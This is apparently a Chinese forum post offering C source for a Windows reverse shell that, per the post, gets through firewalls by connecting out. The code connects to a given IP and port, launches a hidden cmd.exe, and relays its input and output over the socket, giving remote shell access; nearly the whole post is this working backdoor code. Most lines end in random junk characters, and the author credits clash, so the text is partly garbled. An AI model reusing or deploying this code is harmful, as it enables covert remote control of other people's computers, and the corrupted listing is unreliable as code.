这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4m g
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/* ============================== &4$43\(D
Rebound port in Windows NT (? #U&
By wind,2006/7 Ok.DSOT
===============================*/ 9.w3VF_C
#include vpr@
#include OuJy$e
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#pragma comment(lib,"wsock32.lib") e+=G-u5}-
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void OutputShell(); :!*;0~#
SOCKET sClient; uu46'aT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yl]Cm?8
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void main(int argc,char **argv) CIs1*:Q9
{ t2%bHIG}
WSADATA stWsaData; 68G] a N3
int nRet; 3@WI*PMc
SOCKADDR_IN stSaiClient,stSaiServer; U\!LZ?gC
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if(argc != 3) +sq,!6#G
{ d'@H@
printf("Useage:\n\rRebound DestIP DestPort\n"); #(wzl
return; /iJhCB[QZ
} ?ia[KLt"
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WSAStartup(MAKEWORD(2,2),&stWsaData); =.2cZwxX$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jj _+YfIM
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stSaiClient.sin_family = AF_INET; n[p9$W`
stSaiClient.sin_port = htons(0); VDI S`E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >IydXmTy
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P`Wf'C^h
{ JdNPfkOF
printf("Bind Socket Failed!\n"); nhaoh!8A6
return; B
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} Ta5iY
}
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stSaiServer.sin_family = AF_INET; cLk+( dn
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {_gj>n (1
{ G5@fqh6ws
printf("Connect Error!"); T%vbD*nt.
return; Fm+)mmJP
} 'C4Ll2
OutputShell(); N`GwL
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} $">NW&
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void OutputShell() -VT?/=Y
s
{ zpQ/E
char szBuff[1024]; +o70:UF %
SECURITY_ATTRIBUTES stSecurityAttributes; *:\9T#h
OSVERSIONINFO stOsversionInfo; ;;J98G|1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YY>Uf1}*9
STARTUPINFO stStartupInfo; BGYm]b\j[
char *szShell; K`83C`w.
PROCESS_INFORMATION stProcessInformation; P\4o4MF@K
unsigned long lBytesRead; +P;D}1B#I?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AS-t][m#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,]N%(>ot
stSecurityAttributes.lpSecurityDescriptor = 0; >knR>96
stSecurityAttributes.bInheritHandle = TRUE; G:s:NXy^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i(;u6Rk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w!k4&Rb3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ">^]^wa08
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2gI_*fG1
stStartupInfo.wShowWindow = SW_HIDE; C+IE<=%F
stStartupInfo.hStdInput = hReadPipe; QX3![;0F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a;6\T*iJ!
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GetVersionEx(&stOsversionInfo); P`v~L;f
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switch(stOsversionInfo.dwPlatformId) 8WQ%rN={8
{ SJr:
case 1: 90v18k
szShell = "command.com"; IYC#H}
break; 6df&B
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default: f__WnW5h
szShell = "cmd.exe"; h\ek2K
break; ,H1~_|)<
} 31 ;T$5 v1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q]:%Jj2
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send(sClient,szMsg,77,0); W,J,h6{F
while(1) b:&$x (|
{ V1U[p3J-S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p&27|1pZm
if(lBytesRead) ?b$zuJ]
{ BC[d={_-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pU'sADC
send(sClient,szBuff,lBytesRead,0); ~n
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} T+"y8#:
else EqluxD=
{ 1/BMs0 =
lBytesRead=recv(sClient,szBuff,1024,0); nU *fne?
if(lBytesRead<=0) break; UL"3skV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]997`,1b
} K9Fnb6J$u
} m?`Rl6!@8\
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return; QYGxr+D
}